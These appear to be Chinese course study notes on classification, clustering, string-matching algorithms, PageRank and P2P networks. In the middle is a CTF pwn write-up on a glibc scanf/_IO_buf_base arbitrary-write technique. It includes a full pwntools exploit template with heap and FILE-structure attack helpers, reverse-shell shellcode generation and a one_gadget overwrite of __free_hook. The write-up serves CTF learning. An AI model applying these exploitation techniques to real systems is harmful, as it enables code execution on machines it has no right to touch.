如果以词为特征的话,特征向量的维度可能过大,学习算法无法处理这个高的维度。

所以需要特征提取。

Untitled

Untitled

Untitled

了解就行(

分类方法

基于决策树的分类

决策树中一个重要的定义就是信息熵。

熵在信息论中被用来度量信息量,熵越大,所含的有用信息越多。其不确定性就越大。熵越少,确定性越大。

在决策树中,用熵来表示样本集的不纯度,如果某个样本集合中只有一个类别,其确定性最高,熵为0。

反之,熵越大,越不确定,表示样本集中的分类越多样。

所以信息量的大小,不是数据集的大小,而是不确定性。

计算信息熵

Untitled

信息增益

信息增益:熵-条件熵。表示在一个条件下,信息不确定性减少的程度。

计算信息增益

Untitled

Untitled

信息增益率

Untitled

懂了!

决策树是一棵树,包含所有可能的分支,所以初始化需要训练。

计算好信息增益之后,将值比较大的放在前面(树的前面),因为信息增益是表明哪个能够显著减少不确定性的。这样子构建一棵树,每次走的时候按照信息增益判断就行了,目的是最大程度减少不确定性。

信息增益率

假如某个条件极其严格,比如某个同学提前知道了所有选题的答案,那么将选题的序号作为条件,不存在任何不确定性,所以可以得到最大的信息增益。但是这个条件是没有意义的,假设老师换一份考卷答案就全部作废了。

信息增益率在信息增益的基础上增加了惩罚项,惩罚项是特征的固有值,是避免上述情况而设计的。

基于贝叶斯的分类

用好这条公式

Untitled

因为比较的时候P(X)是一致的,所以关注P(X|H)*P(H),也就是概率计算。

举个例子:

Untitled

Untitled

H0为癌症,H1无癌症

P(H0) = 0.008,P(H1) = 0.992

P(+|H0) = 0.98,P(-|H0) = 0.02

P(+|H1) = 0.03,P(-|H0) = 0.97

所以式子1为0.98 * 0.008 = 0.00784

式子2为0.03 * 0.992 = 0.029759999999999998

所以应该判定为患有癌症。

tips:当分子出现0的时候,请实用拉普拉斯平滑处理,对每一个特征都+1,分母加上特征量N

Untitled

支持向量机SVM

基本思想和原理

SVM是一种监督性学习,对数据进行二元分类的广义线性分类器。

决策边界是对学习样本求解的最大边距超平面。

SVM使用损失函数计算经验风险并加入了正则化项以优化结构风险,是一个具有稀疏性核稳健性的分类器。

实际上一句话概括就是,SVM是最大间隔线性分类器。通过核函数将数据从低纬映射到高纬,在高维上实现数据可分。

有一些公式:

M = margin Width = 2 / iroot(w.w, 2),这里是w点乘w向量

w.w’ = w1 * w’1 + w2 * w’2 + w3 * w’3 + … + wn * w’n

计算最小w需要使用 梯度下降/退火算法等。这里不在研究范围之内。

Untitled

核函数

实际上就是低维数据到高维数据的映射

https://www.notion.so

Untitled

Untitled

Untitled

Untitled

不同的核函数会导致不同的SVM算法

KNN K-最近邻分类

基本思想和原理

距离公式:欧氏距离

Untitled

曼哈顿距离

Untitled

闵科夫斯基距离

Untitled

Untitled

训练阶段主要是通过计算样本之间的相似度来构建一个特征空间模型,并保存训练样本数据。

在KNN算法中,没有像其他机器学习算法那样需要学习和调整参数的过程。KNN算法的主要任务是在预测阶段根据新样本与训练样本之间的相似性,通过计算最近邻的投票或平均值来进行分类或回归预测。

k-means算法(聚类) → 基于划分的方法

这里的k是质心数,也就是有多少个类。

Untitled

Untitled

DBSCAN → 基于密度的方法

Untitled

123.jpg

DBSCAN算法将数据点分为三类:

1、核心点:在半径Eps内含有超过MinPts数目的点。

2、边界点:在半径Eps内点的数量小于MinPts,但是落在核心点的邻域内的点

3、噪音点:既不是核心点也不是边界点的点。

两个参数:半径r和指定范围内的数目MinPts

基于层次的聚类

凝聚法

Untitled

Untitled

分裂法

Untitled

Untitled

字符串匹配

字符串匹配(模式匹配)的分类

Untitled

Untitled

Untitled

BF算法(brute-force)

主要思想:

从左往右,依次比较,每次移动一个字符位置。比较方向可以任意选定。无预处理阶段。

也就是暴力比较。

时间复杂度为O(n*m)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
context = "GCACTGCAGCACAGCAGCAGTACG"
model = "GCAGCAG"

def BP(context, model):
model_length = len(model)
context_length = len(context)
error = 0
offset = context_length - model_length
if offset < 0:
return False
for i in range(0, offset):
for j in range(model_length):
error += 1
if context[i+j] != model[j]:
break
else:
if j == model_length-1:
print("error: ", error)
return i
print("error: ", error)
return False

result = BP(context, model)
print(result)

KMP算法

kmp算法核心思想:控制回溯尺度(不回溯思想)

Untitled

如此例子所示,当e和d发生失配的时候,BF算法是将已经匹配的字符全部回溯,从第一个重新开始匹配。

但是kmp则根据最长公共前后缀,此处为前缀ab和后缀ab,会将前缀移动到后缀处,控制了回溯尺度(也就相当于跳的更远了些。

显然关键在于求解next数组

Untitled

例子:

Untitled

nextval数组

nextval数组是next数组的修正版,主要解决了模式串中大量连续重复连续的字符,减少了主串的无用比较次数。

Untitled

BM算法

BM算法是另一种能够充分利用模式串特征,尽可能排除多的无效字符匹配的单模式匹配算法。

主要思想:

算法从正文左端开始于模式串对其并向右扫描,对齐后从模式最右端开始从右向左进行字符匹配。在发生不匹配的时候,用两个预先计算的函数**坏字符(bad character)好后缀(good suffix)**来确定模式串移动的距离。

Untitled

坏字符原则

坏字符原则1:模式串中不存在对应的坏字符:直接右移模式串到坏字符右侧。

坏字符原则2:模式串中存在对应的坏字符,找到最右的对应字符。

原则2a:失配位置在该字符右侧时:让模式串右移,使得最右的对应字符与坏字符相对。

原则2b:失配位置在该字符左侧时:模式串右移一步。

(移动过程中,模式串不能相对于文本串走回头路)

但是会出现字符风暴问题:

Untitled

好后缀原则

Untitled

好后缀原则1:模式串中有字串和好后缀完全匹配,则将最靠右的那个字串移动到好后缀的位置继续匹配。

注意:bmGs数组在找和好后缀相同的子串的时候,一般还需要往左多看一个字符,确保两个子串前一个字符不同,才算找到相同字串。

好后缀原则2:如果不存在和好后缀完全匹配的字串,但在好后缀中存在某个最长后缀,使得模式的整个前缀与这个后缀匹配,将这个最长后缀与前缀对齐。(和KMP类似)

好后缀原则3:如果完全不存在和好后缀满足以上两个原则的字串,则右移整个模式串。

坏字符数组bmBc数组的构造

Untitled

好后缀数组bmGs数组的构造

Untitled

Untitled

Untitled

suffix数组:

Untitled

Untitled

单模式匹配算法复杂度分析

BP:O(n*m)

KMP:

KMP算法的时间复杂度为O(m+n),其中m是模式串的长度,n是文本串的长度。

具体来说,KMP算法的时间复杂度由两个部分构成:

1. 构造前缀表(也就是next数组)的时间复杂度为O(m),因为需要对模式串进行前缀匹配。

2. 匹配的时间复杂度为O(n),因为需要对文本串的每个字符都进行一次匹配操作。

这两个部分的时间复杂度相加即可得到KMP算法的总体时间复杂度为O(m+n)。

BM:

时间复杂度以上BM算法是个初级版本。这个版本,在极端情况下,预处理计算suffix数组、prefix数组的性能会比较差。比如模式串是aaaaaaa这种包含很多重复的字符的模式串,预处理的时间复杂度就是O(m^2)。如何优化这种极端情况下的时间复杂度退化,以后再找空研究。实际上,BM算法的时间复杂度分析起来是非常复杂,论文"A new proof of the linearity of the Boyer-Moore string searching algorithm"证明了在最坏情况下,BM算法的比较次数上限是5n。论文"Tight bounds on the complexity of the Boyer-
Moore string matching algorithm"证明了在最坏情况下,BM算法的比较次数上限是3n。

Untitled

AC算法—有限自动机的多模式匹配算法

形象地说就是kmp+trie树。

Untitled

Untitled

这里可以不看ppt了,因为实验实现的AC自动机是纯自己写的。这里复习一下。

书面上主要有三个函数,转向函数g,失效函数f,输出函数output,如图所示:

Untitled

转向函数g的构造

按照字典树trie的方式来构造即可,一个一个单词插入,字典树的插入和查询复杂度为O(L),L为字符串长度。

从根节点开始,如果没有通道,则fork出一个分支,比如存储she的时候,根节点没有到s的通道,则fork出一条新的来。

失效函数f的构造

一个递推公式:

f[i] = f[pre] if f[pre]→next ≠ i else f[pre]→next

哈哈有点复杂,就是先看f[pre],然后看有无路径,有就指向那里,没有就用f[pre]就行了。

比如这里的5,构造它的f,先看f[4],f[4]=1,所以看1通往哪里,发现有e的通道,所以直接指向2就行了。

失效函数output的构造

这个比较简单也就是当跑到这个节点的时候,应该输出什么东西。

比如这里到了5节点应该输入she,然后看看f[5] = f[2],恰好2也应该输出,所以就把he也加上去。

AC算法的缺点—内存占用问题

Untitled

Untitled

优化方法:

行压缩方法

Untitled

也就是用链表啦,方便实用。而且简单。

位图方法

Untitled

Untitled

这个压缩更狠一些(

双数组改进方法

转向函数中引入双数组,Base表和Check表。

Base表:当前状态的Base值+ASCII输入 = 下一个状态的偏移。

Check表:当前状态的父状态信息

  • 父状态是唯一的

自动机构建是建立在广度优先搜索的基础上。

Untitled

Untitled

Untitled

唉唉给图自己理解吧 有一点点复杂

Untitled

Untitled

Untitled

Untitled

Untitled

WM算法(Wu-Manber)-快速的多模式匹配算法

采用了跳跃的不可能匹配的字符策略和hash散列的方法,对处理大规模的多关键字匹配问题有很好的效果。有具体使用:agrep

匹配示例

Untitled

Untitled

Untitled

算法主要用了几个数据结构:

  • SHIFT表

  • HASH表

  • PREFIX表

  • PAT_PTR表

Untitled

预处理过程

算法的基本思想:在预处理阶段,主要使用了SHIFT表、HASH表和PREFIX表。

在搜索查找阶段,SHIFT表用于在扫描文本串的时候,根据读入字符串可以决定跳过的字符数,如果相应的跳跃值为0,则说明可能发生匹配,就要用到HASH表和PREFIX表进行进一步的判断,以决定有哪些匹配候选模式,并验证究竟哪个或者哪些某选模式完全匹配。

SHIFT表如何构造:

Untitled

有点像坏字符了(

Untitled

HASH表的构造:

Untitled

Untitled

PREFIX表的构造:

Untitled

Untitled

有点复杂,看个例图

Untitled

Untitled

Untitled

Untitled

Untitled

一般会取B=2/B=3

懂啦!

复杂度分析:

Untitled

AC算法和Wu-Manber算法比较

在模式串个数下对算法性能的比较:

WM完胜

模式串长度下

WM也完胜

原因在于WM算法具有并行性,性能更好。

什么时候用什么

AC并行化

任务并行就是我可以同时将m个模式中k个模式构建一个自动机

m-k个模式构建一个自动机,甚至是建一个wm

不同的数据同时走这两个自动机

这是当一个节点空间构建不了一个所有模式自动机的时候

对于数据并行,可以构建一个自动机,多个线程共用这个自动机,每个线程可以只保存自己的自动机状态,把数据分到每个线程

适合数据量较大的场景

模式不一定很多

就知道这两个就行了

Untitled

基于AC双数组算法的IP地址匹配

Untitled

Untitled

Untitled

最大公共字串问题(LCS问题 longest common substring)

方法:广义后缀树(Generalized Suffix Tree),简称GST算法。

把给定的N个源字符串的所有的后缀建成一棵树

例子:

Untitled

Untitled

Untitled

最长公共子序列问题

Untitled

Untitled

什么算法设计与分析

正则表达式匹配算法

Untitled

1.png

2.png

.

3.png

4.png

C* 表示的是匹配前面的表达式 C 零次或多次

如果你想匹配至少出现一次的 C,可以使用 C+。

d? 表示字符 d 是可选的,可以出现零次或一次。

magic scanf&&_IO_buf_base

magic scanf

fastbin有一个特性,就是在申请堆块大于smallbin(x64下0x128)的时候会对fastbin进行整理,先放进unsorted bin再送进small bin。

其次scanf读入巨大数据的时候会申请一个堆块来缓存数据,并且读入”+”的时候会跳过用户输入。

拥有上述两个特点之后,就可以实现虽然只有fastbin,但是能leak出libc,这一招可以将fastbin变为smallbin。

根据题目在这之后我们就有了往任意地址上写一个\x00的效果。

IO_buf_base

scanf通过stdin的FILE结构暂存输入流,然后再输入到指定位置。

scanf实现的核心函数是_IO_new_file_underflow

这个函数:

当stdin->_IO_read_ptr大于等于stdin->_IO_read_end时,此函数会调用_IO_SYSREAD()在stdin->_IO_buf_base处读入stdin->_IO_buf_end - stdin->_IO_buf_base个字节,然后更新stdin->_IO_read_end的值

所以我们可以通过修改_IO_buf_base的末尾为\x00,实现对_IO_2_1_stdin_的部分修改,然后改为我们指定的地方,实现任意地址写。

不过要注意缓冲区_IO_read_ptr和_IO_read_end的情况。

在scanf检测到输入不合规则的时候,会将数据丢弃到缓冲区中,也就是_IO_read_ptr那里,所以我们需要getchar()清空缓冲区再进行第二次的任意地址写。

题目来自HITCTF2023 scanf

在申请巨大堆块时,malloc会先整理fastbin,放到smallbin里面,然后就可以从fd中读出一个libc地址

劫持 _IO_FILE 结构体的 _IO_buf_base 和_IO_buf_end 实现任意地址写

第一次改buf_base末尾为\x00,可以控制部分_IO_2_1_stdin_

读的不符合scanf规范,会进入read的缓冲区,需要getchar清空一下

再通过控制buf_base和buf_end来写free_hook为onegadget就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]

context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "/home/hkbin/Desktop/CTF/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
remote_ip = "47.97.96.29"
remote_port = "51907"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename)

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # fake_linkmap_addr指向一段可控内存 | known_func_ptr指向一个已知的函数的got表地址 | offset是system函数和这个函数在libc上的偏移
# &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1)) #l_addr

# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行

linkmap += p64(0)#l_ns

# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap

def orw_shellcode():
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)
return payload

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): # ->可能需要具体问题具体分析
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

def fmlstr(offset1, offset2, chain2, target, prefix): # partial write
for i in range(8):
if (target&0xff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 8
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def fmlstr2(offset1, offset2, chain2, target, prefix): # partial write
for i in range(4):
if (target&0xffff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 16
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def SROP(rdi, rsp, rip):
signframe = SigreturnFrame()
signframe.rax = constants.SYS_execve
signframe.rdi = rdi
signframe.rsi = 0x0
signframe.rdx = 0x0
signframe.rsp = rsp
signframe.rip = rip
return bytes(signframe)

def FSOP(fake_vtable_addr):
# only in glibc 2.23
# 2.23+ vtable有范围校验 此时不如别的打法好打
# 触发方式只要能出发_IO_overflow即可(其实有关IO流的只要经过vtable应该都能打)
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.flags = 0x68732f6e69622f # /bin/sh\x00
fake_IO_FILE.vtable = fake_vtable_addr
IO_FILE = bytes(fake_IO_FILE)
return IO_FILE

def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr):
# 2.34之前仍能用house_of_pig打,2.34之后各种hook函数被弄掉了 不过可以看看house_of_pig_plus
# 原理:只要能跑到_IO_oveflow就会跳转到_IO_str_overflow然后就会malloc->memcpy->free /||gadget
# 尽量申请free_hook - 0x20然后利用_IO_save_base + _IO_backup_base来处理memcpy那部分
"""
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
new_buf = malloc (new_size); # 计算好申请出来
memcpy (new_buf, old_buf, old_blen); #覆盖(
free (old_buf);
"""
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_str_jumps
fake_IO_FILE._IO_buf_base = bin_addr
fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2)
fake_IO_FILE._IO_save_base = system_addr
fake_IO_FILE._IO_backup_base = system_addr
return bytes(fake_IO_FILE)

def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
"""
调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
"""
# main
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x68732020
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_wfile_jumps
fake_IO_FILE._wide_data = wide_data_entry
fake_IO_FILE._lock = wide_data_entry
fake_IO_FILE = bytes(fake_IO_FILE)
# wide_data 这里只要控制vtable即可
pad = p64(0) * 28
pad += p64(wide_data_vtable_entry)
# wide_data_vtable
"""_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
payload = p64(RIP)*0x10
return (fake_IO_FILE, pad, payload)

def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content

"""pwncli"""
def reverse_tcp():
from pwncli import ShellcodeMall
reverse_tcp = ShellcodeMall.amd64.reverse_tcp_connect(ip="127.0.0.1", port=10001)
return reverse_tcp

# gadgets
"""
from pwncli import CurrentGadgets, gift

gift['elf'] = ELF("./pwn")
gift['libc'] = ELF()

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()

execve_chain = CurrentGadgets.execve_chain(bin_sh_addr=0x11223344)
"""

# libc search
"""
from pwncli import LibcBox
libc_box = LibcBox()
libc_box.add_symbol("system", 0x640)
libc_box.add_symbol("puts", 0x810)
libc_box.search(download_symbols=False, download_so=False, download_deb=True) # 是否下载到本地
read_offset = libc_box.dump("read")
"""

# onegadgets
"""
from pwncli import get_current_one_gadget_from_libc
# 获取当前装载的libc的gadget
all_ogs = get_current_one_gadget_from_libc()
"""

pad = b"{}[]{}{[*{" + b'('*0x64 + b'{' + b'}'

# bpp()
sl(pad)

# sl("A")
sl("+")
rl()
sl("1"*0x401)
rl()
sl("+")

leak_libc = int(rl().decode())

log(hex(leak_libc))

libc_base = leak_libc - (0x7fa05e7c4b98 - 0x7fa05e400000)

log(hex(libc_base))

sl("+")
sl("+")

# global_max_fast = libc_base + (0x7fbe419c67f8 - 0x7fbe41600000)
# log(hex(global_max_fast))
# s(p64(global_max_fast))

IO_buf_base = libc_base + (0x7f8fd4dc4918 - 0x7f8fd4a00000)
s(p64(IO_buf_base))

key = libc_base + (0x7f40dbdc4963 - 0x7f40dba00000)
malloc_hook = libc_base + libc.sym['__free_hook']

sl((p64(key)*3 + p64(malloc_hook) + p64(malloc_hook+0x20) + p64(0)*5 + p64(0) + p64(0xffffffffffffffff) + b'\x00'*3))

onegadgets = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

pause()
sl(p64(libc_base + onegadgets[1])*4)

# sl('A')

ia()

http://blog.gdb.wiki/2019/11/24/CTF-scanf相关的漏洞详解/#前言:比赛中往往会遇到很多零散的漏洞,对解题有十分大的作用,所以写一个文章来巩固一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pad = b"{}[]{}[{"

bpp()
sl(pad)

# sl("A")
sl("+")
rl()
sl("1"*0x401)
rl()
sl("+")

leak_libc = int(rl().decode())

log(hex(leak_libc))

libc_base = leak_libc - (0x7fa05e7c4b98 - 0x7fa05e400000)

log(hex(libc_base))

sl("1"*0x401)
# sl("+")

ia()

https://blog.csdn.net/seaaseesa/article/details/106694651

网络信息获取之主动获取

Created: November 26, 2023 4:16 PM
Reviewed: No

网络信息搜索系统的一般结构

搜索器、索引器、检索器、用户接口

Untitled

搜索器(爬虫)

功能是在互联网中漫游,发现和收集信息。要尽可能多、尽可能快地搜集各种类型地新信息,还需要定期更新旧信息,避免死链接和无效链接。

爬虫的分类

  1. 批量型爬虫:批量型爬虫有明确的抓取范围和目标,当爬虫达到这个设定的目标后,即停止抓取过程。

  2. 增量型爬虫:增量型爬虫会持续不断地抓取,对于抓取的网页可以实现定期更新,通用的商业搜索引擎爬虫基本属于此类。

  3. 垂直型爬虫(聚焦爬虫):垂直型爬虫关注特定主题或属于特定行业的网页,其他主题或其他行业的内容不在考虑范围之内。

主要技术

爬虫缓冲池:抓取种子url放入队列中,取出URL,抓取页面并将URL放入已抓取队列,分析已抓取URL队列中的URL得到新URL,进入下一个循环。

在爬虫角度上的互联网划分

  1. 已下载未过期页面

  2. 已下载已过期页面

  3. 待下载页面

  4. 可知页面

  5. 不可知网页

网络搜索策略

深度优先

深度优先遍历策略指网络爬虫会从起始页开始,一个链接一个链接地追踪下去,完整地处理完一条路之后再转入下一个起始页。多数情况下会导致爬虫的trapped问题。

广度优先

也就是通用爬虫的思路(

缺点是大量的无关页面将被下载并过滤,算法的效率会降低。

最佳优先

在抓取地过程中,按照一定的页面分析算法,预测候选的URL和目标网页地相似度,或者与主题地相关性,选取评价最好的一个或者几个URL进行抓取。

缺点是在爬虫抓取路径上的很多相关网页可能被忽略,因为最佳优先策略是一种局部最有搜索算法。

这样的闭环调整可以将无关页面数量降低30%~90%

多机抓取算法和单机抓取算法

多级抓取算法可以理解为多了一个调度器,用来统一分配URL,下面的都是它的线程/肉鸡,思路都一样,分配的时候n = hash(url) mod N,分配给N节点。

Untitled

Untitled

索引器

索引器的功能是理解搜索器所搜索的信息,从中抽取出索引项,用于表示文档以及生成文档库的索引表

评价网站好坏→PageRank算法

PageRank根据网站的外部链接和内部链接的数量和质量衡量网站的价值。

示例:

Untitled

中心思想

数量假设:

当在网页模型图中,一个网页接受到的其他网页指向的入链(in-links)越多,说明该网页越重要。

质量假设:

当一个质量高的网页指向(out-links)一个网页,说明这个被指的网页重要。

公式:

$$
PR(v_i) = \sum_{v_j\in M(v_i)}\frac {PR(j)}{L(v_j)}, i=1,2,…,n
$$

其中M(vi)表示指向节点vi的节点集合。

L(vj)表示节点vj连出的有向边个数。

例题:

Untitled

Untitled

上述只是迭代了第一次。需要一直迭代直到极限。

Untitled

Dead Ends问题

当一个节点没有任何出链,这就是Dead Links,它会导致网站权重变为0

一直迭代下去会导致所有节点的PR值为0

例如:

Untitled

这个时候需要一个修正:

Untitled

Untitled

Untitled

Spider Traps问题

这个问题出现在于有节点指向自己,PageRank算法迭代下去会发现,该节点的PR值为1,别的节点为0。

修正方式:

随机游走,也就是打开网页B的时候,有概率打开网页C/D。

Untitled

检索器

检索器的功能是根据用户的查询在索引库中快速检出文档,进行文档与查询的相关度评价,对将要输出的结果进行排序,并实现某种用户相关性反馈机制。

检索器常用的四种模型有集合理论模型,代数模型,概率模型和混合模型四种。

用户接口

用户接口的作用是输入用户查询,显示查询结果,提供用户相关性反馈机制,主要的目的是方便用户使用搜索引擎,高效率、多方式地从搜索引擎得到有效、及时地信息。

主被动获取技术比较

Untitled

P2P网络

P2P系统的分类

基于目录服务器地P2P网络(集中式)

三张图理解

Untitled

Untitled

Untitled

不足:

Untitled

Untitled

(具有分布式雏形

完全分布式的P2P

Untitled

特点就是泛洪

但是全网泛红又有缺点

所以出现了层次P2P

层次P2P

Untitled

Untitled

分布式哈希表系统(结构化P2P)

这个系统可以提高文件搜索效率的同时,又不依赖中心节点或局部中心节点。使用结构化对等网,基于分布式哈希表(Distributed Hash Table,简称DHT)而建。

结构化P2P:直接根据查询内的关键字定位其索引的存放节点,索引为<key, value>对。

Untitled

需要尽可能地保证表小一点,而且能够查询所有节点。需要在O(n)复杂度找到目标。

参考二分查找,路由表应该这样建

节点n的路由表:

1 n+1
2 n+2
3 n+4
4 n+8
5 n+16

另外一种操作 Chord-Hash表分布

Untitled

简单来说就是对两个值进行hash

N = hash(IP),这个用来弄出你是第几个节点

K = hash(X),这个表示你要上传/下载的东西应该放在哪

例如上传K = 54,则应该放在N51~N56之间,而且存放在N56,

查询的时候同理搜索至N56

优化:

Untitled

将每个节点的表变为二分的表,增大了一点,但是查询/上传效率高了不少

Kademlia(Kad)也是一种经典的结构化P2P

Kad网络中每一个节点都有一个160bits的ID值作为标志符,Key也是一个160bits的标志符,每加入一个Kad,网络都会被分配一个Kad(可以认为ID是随机产生的),<key, value>对的数据就存放在ID值最接近key值得节点上

Untitled

Untitled

如何查询:

Untitled

K桶

Untitled

Untitled

总的来说就是每个节点都会有个K桶,这个K桶通过计算距离,可以来搜索目标节点。

当新节点加入得时候需要泛红来传播新Kad节点信息。

当然K桶不需要这么大,我觉得二分大小也可以。

总结

P2P结构分类

非结构化的→完全分布式的P2P网络

基于目录服务器的P2P网络

层次P2P网络

结构化P2P

P2P技术的特点

非中心化

扩展性

健壮性

高性价比

网络信息获取之被动获取

TCP/IP协议

Untitled

Untitled

数据包接收:

Untitled

以太网的通讯

以太网处理一二层,也就是我们的链路层和物理层,与TCP/IP协议通过ARP和RARP协议进行相互转换。

同时具有载波监听冲突检测功能。

在以太网中,所有的通讯都是广播的。因此在同一个网段下的所有网络接口都可以访问在物理媒体上传输的数据。

正常情况下,一个网络接口只响应这两种数据

